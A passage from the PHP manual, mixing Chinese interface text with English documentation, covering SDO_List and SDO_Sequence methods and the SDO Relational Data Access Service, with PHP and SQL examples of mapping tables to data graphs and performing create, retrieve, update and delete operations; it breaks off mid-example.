For example, if the SDO_DataObject were of type 'CompanyType' from the namespace 'CompanyNS', then getType() would return the equivalent to array('CompanyNS', 'CompanyType'):

<?php
  $do_type = $company_do->getType();
  echo "Namespace: $do_type[0], Type Name: $do_type[1]";
?>

上例将输出：

Namespace: CompanyNS, Type Name: CompanyType

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DataObject::getSequence | 上一级 | SDO_List::insert


SDO_List::insert

(no version information, might be only in CVS)

SDO_List::insert -- Insert into a list.

说明

void SDO_List::insert ( mixed value [, int index] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Insert a new element at a specified position in the list. All subsequent list items are moved up.

参数

value

The new value to be inserted. This can be either a primitive or an SDO_DataObject.

index

The position at which to insert the new element. If this argument is not specified then the new value will be appended.

返回值

None.

异常

SDO_IndexOutOfBoundsException

Thrown if the list index is less than zero or greater than the size of the list.

SDO_InvalidConversionException

Thrown if the type of the new value does not match the type for the list (e.g. the type of the many-valued property that the list represents).

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DataObject::getType | 上一级 | SDO_Sequence::getPropertyIndex


SDO_Sequence::getPropertyIndex

(no version information, might be only in CVS)

SDO_Sequence::getPropertyIndex -- Return the property index for the specified sequence index.

说明

int SDO_Sequence::getPropertyIndex ( int sequenceIndex )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Return the property index for the specified sequence index. If the sequence item is unstructured text rather than a data object property, then a value of -1 is returned.

参数

sequenceIndex

The sequence index for which we wish to determine the associated data object property index.

返回值

The corresponding property index. A value of -1 means the element does not belong to a property and must therefore be unstructured text.

异常

SDO_IndexOutOfBoundsException

Thrown if the sequence index is less than zero or greater than the size of the sequence.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_List::insert | 上一级 | SDO_Sequence::getPropertyName


SDO_Sequence::getPropertyName

(no version information, might be only in CVS)

SDO_Sequence::getPropertyName -- Return the property name for the specified sequence index.

说明

string SDO_Sequence::getPropertyName ( int sequenceIndex )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Return the property name for the specified sequence index. If the sequence item is unstructured text rather than a data object property, then a value of NULL is returned.

参数

sequenceIndex

The sequence index for which we wish to determine the associated data object property name.

返回值

The corresponding property name. A value of NULL means the element does not belong to a property and must therefore be unstructured text.

异常

SDO_IndexOutOfBoundsException

Thrown if the sequence index is less than zero or greater than the size of the sequence.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_Sequence::getPropertyIndex | 上一级 | SDO_Sequence::insert


SDO_Sequence::insert

(no version information, might be only in CVS)

SDO_Sequence::insert -- Insert into a sequence.

说明

void SDO_Sequence::insert ( mixed value [, int sequenceIndex [, mixed propertyIdentifier]] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Insert a new element at a specified position in the sequence. All subsequent sequence items are moved up.

参数

value

The new value to be inserted. This can be either a primitive or an SDO_DataObject.

sequenceIndex

The position at which to insert the new element. Default is NULL, which results in the new value being appended to the sequence.

propertyIdentifier

Either a property index or property name, used to identify a property in the sequence's corresponding SDO_DataObject. A value of NULL signifies unstructured text.

返回值

None.

异常

SDO_IndexOutOfBoundsException

Thrown if the sequence index is less than zero or greater than the size of the sequence.

SDO_InvalidConversionException

Thrown if the type of the new value cannot be juggled to match the type for the specified data object property.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_Sequence::getPropertyName | 上一级 | SDO_Sequence::move


SDO_Sequence::move

(no version information, might be only in CVS)

SDO_Sequence::move -- Move an item to another sequence position.

说明

void SDO_Sequence::move ( int toIndex, int fromIndex )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Modify the position of the item in the sequence, without altering the value of the property in the SDO_DataObject.

参数

toIndex

The destination sequence index. If this index is less than zero or greater than the size of the sequence then the value is appended.

fromIndex

The source sequence index.

返回值

None.

异常

SDO_IndexOutOfBoundsException

Thrown if the fromIndex sequence index is less than zero or greater than the size of the sequence.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_Sequence::insert | 上一级 | SDO Relational Data Access Service Functions


SDO Relational Data Access Service Functions

PHP 手册
后退 前进

CXXVI. SDO Relational Data Access Service Functions

简介

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

In order to use the Relational Data Access Service for Service Data Objects, you will need to understand some of the concepts behind SDO: the data graph, the data object, the disconnected way of working, the change summary, XPath and property expressions, and so on. If you are not familiar with these ideas, you might want to look first at the section on SDO. In addition, the Relational DAS makes use of the PDO extension to isolate itself from specifics of different back-end relational databases. In order to use the Relational DAS you will need to be able to create and pass a PDO database connection; for this reason you might also want to take a look at the section on PDO.

The job of the Relational DAS is to move data between the application and a relational database. In order to do this it needs to be told the mapping between the database entities - tables, columns, primary keys and foreign keys - and the elements of the SDO model - types, properties, containment properties and so on. You specify this information as metadata when you construct the Relational DAS.

Overview of Operation

  1. The first step is to call the Relational DAS's constructor, passing the metadata that defines the mapping between database and SDO model. There are examples of this below.

  2. The next step might be to call the executeQuery() or executePreparedQuery() methods on the Relational DAS, passing either a literal SQL statement for the DAS to prepare and execute, or a prepared statement with placeholders and a list of values to be inserted. You may also need to specify a small amount of metadata about the query itself, so that the Relational DAS knows exactly what columns will be returned from the database and in what order. You will also need to pass a PDO database connection.

    The return value from executeQuery() or executePreparedQuery() is a normalised data graph containing all the data from the result set. For a query that returns data obtained from a number of tables, this graph will contain a number of data objects, linked by SDO containment references. There may also be SDO non-containment references within the data.

    Once the query has been executed and the data graph constructed, there is no need for either that instance of the the Relational DAS or the database connection. There are no locks held on the database. Both the Relational DAS and the PDO database connection can be garbage collected.

  3. Quite possibly the data in the data graph will go through a number of modifications. The data graph can be serialised into the PHP session and so may have a lifetime beyond just one client-server interaction. Data objects can be created and added to the graph, the data objects already in the graph can be deleted, and data objects in the graph can be modified.

  4. Finally, the changes made to the data graph can be applied back to the database using the applyChanges() method of the Relational DAS. For this, another instance of the Relational DAS must be constructed, using the same metadata, and another connection to the database obtained. The connection and the data graph are passed to applyChanges(). At this point the Relational DAS examines the change summary and generates the necessary INSERT, UPDATE and DELETE SQL statements to apply the changes. Any UPDATE and DELETE statements are qualified with the original values of the data so that should the data have changed in the database in the meantime this will be detected. Assuming no such collisions have occurred the changes will be committed to the database. The application can then continue to work with the data graph, make more changes and apply them, or can discard it.

There are other ways of working with the data in the database: it is possible to just create data objects and write them to the database without a preliminary call to executeQuery(), for example. This scenario and others are explored in the Examples section below.

安装

The installation instructions for all the SDO components are in the SDO install section of the SDO documentation.

In any case, the essential facts are that the Relational DAS is written in PHP and it should be placed somewhere on the PHP include_path .

Your application will of course need to include the Relational DAS with a statement like this:
<?php
require_once 'SDO/DAS/Relational.php';
?>

需求

The Relational DAS requires that the SDO extension be installed. The SDO extension requires a version of PHP 5.1, and the Relational DAS requires a recent version that contains an important fix for PDO. The most up-to-date information about required levels of PHP should be found in the changelog for the package on PECL. At the time of writing, though, the Relational DAS requires the most recent beta level of PHP 5.1, that is PHP 5.1.0b3.

The Relational DAS uses PDO to access the relational database, and so should run with a variety of different relational databases. At the time of writing it has been tested in the following configurations

  • MySQL 4.1.17, on Windows. The Relational DAS operates correctly with the php_pdo_mysql driver that comes with the pre-built binaries for PHP 5.1.0b3.

  • MySQL 4.1.17, on Linux. It is necessary to have the most up-to-date PDO driver for MySQL, which comes built in to PHP 5.1.0b3. It may be necessary to uninstall the usual driver that would have come from PECL using pear uninstall pdo_mysql . You will need to configure PHP with the --with-pdo-mysql option.

  • DB2 8.2 Personal Edition, on Windows. The Relational DAS operates correctly with the php_pdo_odbc driver that comes with the pre-built binaries for PHP 5.1.0b3.

  • DB2 8.2 Personal Developer's Edition, on Linux. The Developer's Edition is needed because it contains the include files needed when PHP is configured and built. You will need to configure PHP with the --with-pdo-odbc=ibm-db2 option.

The Relational DAS applies changes to the database within a user-delimited transaction: that is, it issues a call to PDO::beginTransaction() before beginning to apply changes, and PDO::commit() or PDO::rollback() on completion. Whichever database is chosen, the database and the PDO driver for the database must support these calls.

Limitations

There are the following limitations in the current release of the Relational DAS:

  • No support for nulls. There is no support for SQL NULL type. It is not legal to assign PHP NULL to a data object property and the Relational DAS will not write that back as a NULL to the database. If nulls are found in the database on a query, the property will remain unset.

  • Only two types of SDO relationship. The metadata described below allows the Relational DAS to model just two types of SDO relationship: multi-valued containment properties and single-valued non-containment properties. In SDO, whether a property is single- or multi-valued, and whether it is containment or non-containment, are independent. The full range of possibilities that SDO allows cannot all be defined. There may be relationships that it would be useful to model but which the current implementation cannot manage. One example is a single-valued containment relationship.

  • No support for the full range of SDO data types. The Relational DAS defines all primitive properties in the SDO model as being of type string. SDO defines a richer set of types containing various integer, float, boolean and data and time types. String is adequate for the purposes of the Relational DAS since the combination of PHP, PDO and the database will ensure that values passed as strings will be converted to the proper type before being put in the database. This does affect some scenarios in which the Relational DAS has to work with a data graph that has come from or will go to a different DAS.

  • Only one foreign key per table. The metadata only provides the means to specify one foreign key per table. This foreign key may be mapped to one of the two types of SDO relationship supported. Obviously there are some scenarios that cannot be described under this limitation - it is not possible to have two non-containment references from one table to another for example.

范例

This section illustrates how the Relational DAS can be used to create, retrieve, update and delete data in a relational database. Many of the examples are illustrated with a three-table database that contains companies, departments within those companies, and employees that work in those departments. This example is used in a number of places within the SDO literature. See the examples section of the Service Data Objects specification or the Examples section of the documentation for the SDO extension.

The Relational DAS is constructed with metadata that defines the relational database and how it should be mapped to SDO. The long section that follows describes this metadata and how to construct the Relational DAS. The examples that follow it all assume that this metadata is in an included php file.

The examples below and others can all be found in the Scenarios directory in the Relational DAS package.

The Relational DAS throws exceptions in the event that it finds errors in the metadata or errors when executing SQL statements against the database. For brevity the examples below all omit the use of try/catch blocks around the calls to the Relational DAS.

These examples all differ from the expected use of SDO in two important respects.

First, they show all interactions with the database completed within one script. In this respect these scenarios are not realistic but are chosen to illustrate just the use of the Relational DAS. It is expected that interactions with the database will be separated in time and the data graph serialised and deserialised into the PHP session one or more times as the application interacts with an end user.

Second, all queries executed against the database use hard-coded queries with no variables substituted. In this case it is safe to use the simple executeQuery() call, and this is what the examples illustrate. In practice, though,it is unlikely that the SQL statement is known entirely ahead of time. In order to allow variables to be safely substituted into the SQL queries, without running the risk of injecting SQL with unknown effects, it is safer to use the executePreparedQuery() which takes a prepared SQL statement containing placeholders and a list of values to be substituted.

Specifying the metadata

This first long section describes in detail how the metadata describing the database and the required SDO model is supplied to the Relational DAS.

When the constructor for the Relational DAS is invoked, it needs to be passed several pieces of information. The bulk of the information, passed as an associative array in the first argument to the constructor, tells the Relational DAS what it needs to know about the relational database. It describes the names of the tables, columns, primary keys and foreign keys. It should be fairly easy to understand what is required, and once written it can be placed in a php file and included when needed. The remainder of the information, passed in the second and third arguments to the constructor, tells the Relational DAS what it needs to know about the relationships between objects and the shape of the data graph; it ultimately determines how the data from the database is to be normalised into a graph.

Database metadata

The first argument to the constructor describes the target relational database.

Each table is described by an associative array with up to four keys.

Key | Value
name | The name of the table.
columns | An array listing the names of the columns, in any order.
PK | The name of the column containing the primary key.
FK | An array with two entries, 'from' and 'to', which define a column containing a foreign key, and a table to which the foreign key points. If there are no foreign keys in the table then the 'FK' entry does not need to be specified. Only one foreign key can be specified. Only a foreign key pointing to the primary key of a table can be specified.

<?php
/*****************************************************************
* METADATA DEFINING THE DATABASE
******************************************************************/
$company_table = array (
    'name' => 'company',
    'columns' => array('id', 'name',  'employee_of_the_month'),
    'PK' => 'id',
    'FK' => array (
        'from' => 'employee_of_the_month',
        'to' => 'employee',
        ),
    );
$department_table = array (
    'name' => 'department',
    'columns' => array('id', 'name', 'location', 'number', 'co_id'),
    'PK' => 'id',
    'FK' => array (
        'from' => 'co_id',
        'to' => 'company',
        )
    );
$employee_table = array (
    'name' => 'employee',
    'columns' => array('id', 'name', 'SN', 'manager', 'dept_id'),
    'PK' => 'id',
    'FK' => array (
        'from' => 'dept_id',
        'to' => 'department',
        )
    );
$database_metadata = array($company_table, $department_table, $employee_table);
?>

This metadata corresponds to a relational database that might have been defined to MySQL as:

create table company (
   id integer auto_increment,
   name char(20),
   employee_of_the_month integer,
   primary key(id)
 );
 create table department (
   id integer auto_increment,
   name char(20),
   location char(10),
   number integer(3),
   co_id integer,
   primary key(id)
 );
 create table employee (
   id integer auto_increment,
   name char(20),
   SN char(4),
   manager tinyint(1),
   dept_id integer,
   primary key(id)
 );

or to DB2 as:

create table company ( \
    id integer not null generated by default as identity,  \
    name varchar(20), \
    employee_of_the_month integer, \
    primary key(id) )
create table department ( \
    id integer not null generated by default as identity, \
    name varchar(20), \
    location varchar(10), \
    number integer, \
    co_id integer, \
    primary key(id) )
create table employee ( \
    id integer not null generated by default as identity, \
    name varchar(20), \
    SN char(4), \
    manager smallint, \
    dept_id integer, \
    primary key(id) )

Note that although in this example there are no foreign keys specified to the database and so the database is not expected to enforce referential integrity, the intention behind the co_id column on the department table and the dept_id column on the employee table is they should contain the primary key of their containing company or department record, respectively. So these two columns are acting as foreign keys.

There is a third foreign key in this example, that from the employee_of_the_month column of the company record to a single row of the employee table. Note the difference in intent between this foreign key and the other two. The employee_of_the_month column represents a single-valued relationship: there can be only one employee of the month for a given company. The co_id and dept_id columns represent multi-valued relationships: a company can contain many departments and a department can contain many employees. This distinction will become evident when the remainder of the metadata picks out the company-department and department-employee relationships as containment relationships.

There are a few simple rules to be followed when constructing the database metadata:

  • All tables must have primary keys, and the primary keys must be specified in the metadata. Without primary keys it is not possible to keep track of object identities. As you can see from the SQL statements that create the tables, primary keys can be auto-generated, that is, generated and assigned by the database when a record is inserted. In this case the auto-generated primary key is obtained from the database and inserted into the data object immediately after the row is inserted into the database.

  • It is not necessary to specify in the metadata all the columns that exist in the database, only those that will be used. For example, if the company table had another column that the application did not want to access with SDO, this need not be specified in the metadata. On the other hand it would have done no harm to specify it: if specified in the metadata but never retrieved, or assigned to by the application, then the unused column will not affect anything.

  • In the database metadata note that the foreign key definitions identify not the destination column in the table which is pointed to, but the table name itself. Strictly, the relational model permits the destination of a foreign key to be a non-primary key. Only foreign keys that point to a primary key are useful for constructing the SDO model, so the metadata specifies the table name. It is understood that the foreign key points to the primary key of the given table.

Given these rules, and given the SQL statements that define the database, the database metadata should be easy to construct.

What the Relational DAS does with the metadata

The Relational DAS uses the database metadata to form most of the SDO model. For each table in the database metadata, an SDO type is defined. Each column which can represent a primitive value (columns which are not defined as foreign keys) are added as properties to the SDO type.

All primitive properties are given a type of string in the SDO model, regardless of their SQL type. When writing values back to the database the Relational DAS will create SQL statements that treat the values as strings, and the database will convert them to the appropriate type.

Foreign keys are interpreted in one of two ways, depending on the metadata in the third argument to the constructor that defines the SDO containment relationships, A discussion of this is therefore deferred until the section on SDO containment references below.

Specifying the application root type

The second argument to the constructor is the application root type. The true root of each data graph is an object of a special root type and all application data objects come somewhere below that. Of the various application types in the SDO model, one has to be the application type immediately below the root of the data graph. If there is only one table in the database metadata, the application root type can be inferred, and this argument can be omitted.

Specifying the SDO containment references

The third argument to the constructor defines how the types in the model are to be linked together to form a graph. It identifies the parent-child relationships between the types which collectively form a graph. The relationships need to be supported by foreign keys to be found in the data, in a way shortly to be described.

The metadata is an array containing one or more associative arrays, each of which identifies a parent and a child. The example below shows a parent-child relationship from company to department, and another from department to employee. Each of these will become an SDO multi-valued containment property in the SDO model.

<?php
$department_reference = array( 'parent' => 'company', 'child' => 'department');
$employee_reference = array( 'parent' => 'department', 'child' => 'employee');

$SDO_reference_metadata = array($department_reference, $employee_reference);
?>

Foreign keys in the database metadata are interpreted as either multi-valued containment properties or single-valued non-containment propeties, depending on whether they have a corresponding SDO containment reference specified in the metadata. In the example here, the foreign keys from department to company (the co_id column in the department table) and from employee to department (the dept_id column in the employee table) are interpreted as supporting the SDO containment references. Each containment reference mentioned in the SDO containment references metadata must have a corresponding foreign key present in the database and defined in the database metadata. The values of the foreign key columns for containment references do not appear in the data objects, instead they are represented by the containment reference from the parent to the child. So the co_id column in the department row in the database, for example, does not appear as a property on the department type, but instead as a containment relationship called department on the company type. Note that the foreign key and the parent-child relationship appear to have opposite senses: the foreign key points from the department to the company, but the parent-child relationship points from company to department.

The third foreign key in this example, the employee_of_the_month , is handled differently. This is not mentioned in the SDO containment references metadata. As a consequence this is interpreted in the second way: it becomes a single-valued non-containment reference on the company object, to which can be assigned references to SDO data objects of the employee type. It does appear as a property on the company type. The way to assign a value to it in the SDO data graph is to have a graph that contains an employee object through the containment references, and to assign the object to it. This is illustrated in the later examples below.

One-table examples

The following set of examples all use the Relational DAS to work with a data graph containing just one application data object, a single company and the data just to be found the company table. These examples do not exercise the power of SDO or the Relational DAS and of course the same result could be achieved more economically with direct SQL statements but they are intended to illustrate how to work with the Relational DAS.

For this very simple scenario it would be possible to simplify the database metadata to include just the company table - if that were done the second and third arguments to the constructor and the column specifier used in the query example would become optional.

例子 1. Creating a data object

The simplest example is that of creating a single data object and writing it to the database. In this example a single company object is created, its name is set to 'Acme', and the Relational DAS is called to write the changes to the database. The company name is set here using the property name method. See the Examples section on the SDO extension for other ways of accessing the properties of an object.

Data objects can only be created when you have a data object to start with, however. It is for that reason that the first call to the Relational DAS here is to obtain a root object. This is in effect how to ask for an empty data graph - the special root object is the true root of the tree. The company data object is then created with a call to createDataObject() on the root object. This creates the company data object and inserts it in the graph by inserting into a multi-valued containment property on the root object called 'company'.

When the Relational DAS is called to apply the changes a simple insert statement 'INSERT INTO company (name} VALUES ("Acme");' will be constructed and executed. The auto-generated primary key will be set into the data object and the change summary will be reset, so that it would be possible to continue working with the same data object, modify it, and apply the newer changes a second time.

<?php
require_once 'SDO/DAS/Relational.php';
require_once 'company_metadata.inc.php';

/**************************************************************
* Construct the DAS with the metadata
***************************************************************/
$das = new SDO_DAS_Relational ($database_metadata,'company',$SDO_reference_metadata);

/**************************************************************
* Obtain a root object and create a company object underneath.
* Make a simple change to the data object.
***************************************************************/
$root = $das  -> createRootDataObject();
$acme = $root -> createDataObject('company');

$acme->name = "Acme";

/**************************************************************
* Get a database connection and write the object to the database
***************************************************************/
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);
$das -> applyChanges($dbh, $root);
?>

例子 2. Retrieving a data object

In this example a single data object is retrieved from the database - or possibly more than one if there is more than one company called 'Acme'. For each company returned, the name and id properties are echoed.

In this example the third argument to executeQuery(), the column specifier is needed as there are other tables in the metadata with column names of name and id. If there were no possible ambiguity it could be omitted.

<?php
require_once 'SDO/DAS/Relational.php';
require_once 'company_metadata.inc.php';

/**************************************************************
* Construct the DAS with the metadata
***************************************************************/
$das = new SDO_DAS_Relational ($database_metadata,'company',$SDO_reference_metadata);

/**************************************************************
* Get a database connection
***************************************************************/
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);

/**************************************************************
* Issue a query to obtain a company object - possibly more if they exist
***************************************************************/
$root = $das->executeQuery($dbh,
           'select name, id from company where name="Acme"',
            array('company.name', 'company.id') );

/**************************************************************
* Echo name and id
***************************************************************/
foreach ($root['company'] as $company) {
    echo "Company obtained from the database has name = " .
    $company['name'] . " and id " . $company['id'] . "\n";
}
?>

例子 3. Updating a data object

This example combines the previous two, in the sense that in order to be updated the object must first be retrieved. The application code reverses the company name (so 'Acme' becomes 'emcA') and then the changes are written back to the database in the same way that they were when the object was created. Because the query searches for the name both ways round the program can be run repeatedly to find the company and reverse its name each time.

In this example the same instance of the Relational DAS is reused for the applyChanges(), as is the PDO database handle. This is quite alright; it also alright to allow the previous instances to be garbage collected and to obtain new instances. No state data regarding the graph is held the Relational DAS once it has returned a data graph to the application. All necessary data is either within the graph itself, or can be reconstructed from the metadata.

<?php
require_once 'SDO/DAS/Relational.php';
require_once 'company_metadata.inc.php';

/**************************************************************
* Construct the DAS with the metadata
***************************************************************/
$das = new SDO_DAS_Relational ($database_metadata,'company',$SDO_reference_metadata);

/**************************************************************
* Get a database connection
***************************************************************/
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);

/**************************************************************
* Issue a query to obtain a company object - possibly more if they exist
***************************************************************/
$root = $das->executeQuery($dbh,
    'select name, id from company where name="Acme" or name="emcA"',
    array('company.name', 'company.id') );

/**************************************************************
* Alter the name of just the first company
***************************************************************/
$company = $root['company'][0];
echo "obtained a company with name of " . $company->name . "\n";
$company->name = strrev($company->name);

/**************************************************************
* Write the change back
***************************************************************/
$das->applyChanges($dbh,$root);
?>

例子 4. Deleting a data object

Any companies called 'Acme' or its reverse 'emcA' are retrieved. They are then all deleted from the graph with unset.

In this example they are all deleted in one go by unsetting the containing reference. It is also possible to delete them individually.

<?php
require_once 'SDO/DAS/Relational.php';
require_once 'company_metadata.inc.php';

/**************************************************************
* Construct the DAS with the metadata
***************************************************************/
$das = new SDO_DAS_Relational ($database_metadata,'company',$SDO_reference_metadata);

/**************************************************************
* Get a database connection
***************************************************************/
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);

/**************************************************************
* Issue a query to obtain a company object - possibly more if they exist
***************************************************************/
$root = $das->executeQuery($dbh,
    'select name, id from company where name="Acme" or name="emcA"',
    array('company.name', 'company.id') );

/**************************************************************
* Delete any companies found from the data graph
***************************************************************/
unset($root['company']);

/**************************************************************
* Write the change(s) back
***************************************************************/
$das->applyChanges($dbh,$root);
?>

Two-table examples

The following set of examples all use two tables from the company database: the company and department tables. These examples exercise more of the function of the Relational DAS.

In this series of examples a company and department are created, retrieved, updated, and finally deleted. This illustrates the lifecycle for a data graph containing more than one object. Note that this example clears out the company and department tables at the start so that the exact results of the queries can be known.

You can find these examples combined into one script called 1cd-CRUD in the Scenarios directory in the Relational DAS package.

例子 5. One company, one department - Create

As in the earlier example of creating just one company data object, the first action after constructing the Relational DAS is to call createRootDataObject() to obtain the special root object of the otherwise empty data graph. The company object is then created as a child of the root object, and the department object as a child of the company object.

When it comes to applying the changes, the Relational DAS has to perform special processing to maintain the foreign keys that support the containment relationships, especially if auto-generated primary keys are involved. In this example, the relationship between the auto-generated primary key id in the company table and the co_id column in the department table must be maintained. When inserting a company and department for the first time the Relational DAS has to first insert the company row, then call PDO's getLastInsertId() method to obtain the auto-generated primary key, then add that as the value of the co_id column when inserting the department row.

<?php
require_once 'SDO/DAS/Relational.php';
require_once 'company_metadata.inc.php';

/*************************************************************************************
* Empty out the two tables
*************************************************************************************/
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);
$pdo_stmt = $dbh->prepare('DELETE FROM COMPANY;');
$rows_affected = $pdo_stmt->execute();
$pdo_stmt = $dbh->prepare('DELETE FROM DEPARTMENT;');
$rows_affected = $pdo_stmt->execute();

/**************************************************************
* Create a company with name Acme and one department, the Shoe department
***************************************************************/
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);
$das = new SDO_DAS_Relational ($database_metadata,'company',$SDO_reference_metadata);

$root = $das -> createRootDataObject();

$acme = $root -> createDataObject('company');
$acme -> name = "Acme";

$shoe = $acme->createDataObject('department');
$shoe->name = 'Shoe';

$das -> applyChanges($dbh, $root);

?>

例子 6. One company, one department - Retrieve and Update

In this case the SQL query passed to executeQuery() performs an inner join to join the data from the company and department tables. Primary keys for both the company and department tables must be included in the query. The result set is re-normalised to form a normalised data graph. Note that a column specifier is passed as the third argument to the executeQuery() call enabling the Relational DAS to know which column is which in the result set.

Note that the co_id column although used in the query is not needed in the result set. In order to understand what the Relational DAS is doing when it builds the data graph it may be helpful to visualise what the result set looks like. Although the data in the database is normalised, so that multiple department rows can point through their foreign key to one company row, the data in the result set is non-normalised: that is, if there is one company and multiple departments, the values for the company are repeated in each row. The Relational DAS has to reverse this process and turn the result set back into a normalised data graph, with just one company object.

In this example the Relational DAS will examine the result set and column specifier, find data for both the company and department tables, find primary keys for both, and interpret each row as containing data for a department and its parent company. If it has not seen data for that company before (it uses the primary key to check) it creates a company object and then a department object underneath it. If it has seen data for that company before and has already created the company object it just creates the department object underneath.

In this way the Relational DAS can retrieve and renormalise data for multiple companies and multiple departments underneath them.

<?php
require_once 'SDO/DAS/Relational.php';
require_once 'company_metadata.inc.php';

/**************************************************************
* Retrieve the company and Shoe department, then delete Shoe and add IT
***************************************************************/
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);
$das = new SDO_DAS_Relational ($database_metadata,'company',$SDO_reference_metadata);

$root = $das->executeQuery($dbh,
'select c.id, c.name, d.id, d.name from company c, department d where d.co_id = c.id',
array('company.id','company.name','department.id','department.name'));

$acme = $root['company'][0];            // get the first company - will be 'Acme'
$shoe = $acme['department'][0];         // get the first department underneath - will be 'Shoe'

unset($acme['department'][0]);

$it = $acme->createDataObject('department');
$it->name = 'IT';

$das -> applyChanges($dbh, $root);
?>

例子 7. One company, two departments - Retrieve and Delete

In this example the company and department are retrieved and then deleted. It is not necessary to delete them individually (although that would be possible) - deleting the company object from the data graph also deletes any departments underneath it.

Note the way that the company object is actually deleted using the PHP unset call. The unset has to be performed on the containing reference which in this case is the company reference on the special root object. You must use:
<?php
unset($root['company'][0]);
?>
and not:
<?php
unset($acme); //WRONG
?>
Simply unsetting $acme would destroy the variable but leave the data in the data graph untouched.

<?php
require_once 'SDO/DAS/Relational.php';
require_once 'company_metadata.inc.php';

/**************************************************************
* Retrieve the company and IT department, then delete the whole company
***************************************************************/
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);
$das = new SDO_DAS_Relational ($database_metadata,'company',$SDO_reference_metadata);

$root = $das->executeQuery($dbh,
'select c.id, c.name, d.id, d.name from company c, department d where d.co_id = c.id',
array('company.id','company.name','department.id','department.name'));

$acme = $root['company'][0];
$it = $acme['department'][0];

unset($root['company'][0]);

$das -> applyChanges($dbh, $root);

?>

Three-table example

The following examples use all three tables from the company database: the company, department, and employee tables. These introduce the final piece of function not exercised by the examples above: the non-containment reference employee_of_the_month.

Like the examples above for company and department, this set of examples is intended to illustrate the full lifecycle of such a data graph.

例子 8. One company, one department, one employee - Create

In this example a company is created containing one department and just one employee. Note that this example clears out all three tables at the start so that the exact results of the queries can be known.

Note how once the company, department and employee have been created, the employee_of_the_month property of the company can be made to point at the new employee. As this is a non-containment reference, this cannot be done until the employee object has been created within the graph. Non-containment references need to be managed carefully. For example if the employee were now deleted from under the department, it would not be correct to try to save the graph without first clearing or re-assigning the employee_of_the_month property. The closure rule for SDO data graphs requires that any object pointed at by a non-containment reference must also be reachable by containment references.

When it comes to inserting the graph into the database, the procedure is similar to the example of inserting the company and department, but employee_of_the_month introduces an extra complexity. The Relational DAS needs to insert the objects working down the tree formed by containment references, so company, then department, then employee. This is necessary so that it always has the auto-generated primary key of a parent on hand to include in a child row. But when the company row is inserted the employee who is employee of the month has not yet been inserted and the primary key is not known. The procedure is that after the employee record is inserted and its primary key known, a final step is performed in which the the company record is updated with the employee's primary key.

<?php
require_once 'SDO/DAS/Relational.php';
require_once 'company_metadata.inc.php';

/*************************************************************************************
* Empty out the three tables
*************************************************************************************/
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);
$pdo_stmt = $dbh->prepare('DELETE FROM COMPANY;');
$rows_affected = $pdo_stmt->execute();
$pdo_stmt = $dbh->prepare('DELETE FROM DEPARTMENT;');
$rows_affected = $pdo_stmt->execute();
$pdo_stmt = $dbh->prepare('DELETE FROM EMPLOYEE;');
$rows_affected = $pdo_stmt->execute();

/*************************************************************************************
* Create a tiny but complete company.
* The company name is Acme.
* There is one department, Shoe.
* There is one employee, Sue.
* The employee of the month is Sue.
*************************************************************************************/
$das = new SDO_DAS_Relational ($database_metadata,'company',$SDO_reference_metadata);
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);

$root             = $das  -> createRootDataObject();
$acme             = $root -> createDataObject('company');
$acme -> name     = "Acme";
$shoe             = $acme -> createDataObject('department');
$shoe -> name     = 'Shoe';
$shoe -> location = 'A-block';
$sue             = $shoe -> createDataObject('employee');
$sue -> name     = 'Sue';
$acme -> employee_of_the_month = $sue;

$das -> applyChanges($dbh, $root);

echo "Wrote back Acme with one department and one employee\n";
?>

例子 9. One company, one department, one employee - Retrieve and update

The SQL statement passed to the Relational DAS is this time an inner join that retrieves data from all three tables. Otherwise this example introduces nothing that has not appeared in a previous example.

The graph is updated by the addition of a new department and employee and some alterations to the name properties of the existing objects in the graph. The combined changes are then written back. The Relational DAS will process and apply an arbitrary mixture of additions, modifications and deletions to and from the data graph.

<?php
require_once 'SDO/DAS/Relational.php';
require_once 'company_metadata.inc.php';

/*************************************************************************************
* Find the company again and change various aspects.
* Change the name of the company, department and employee.
* Add a second department and a new employee.
* Change the employee of the month.
*************************************************************************************/
$das = new SDO_DAS_Relational ($database_metadata,'company',$SDO_reference_metadata);
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);

$root = $das->executeQuery($dbh,
    "select c.id, c.name, c.employee_of_the_month, d.id, d.name, e.id, e.name " .
    "from company c, department d, employee e " .
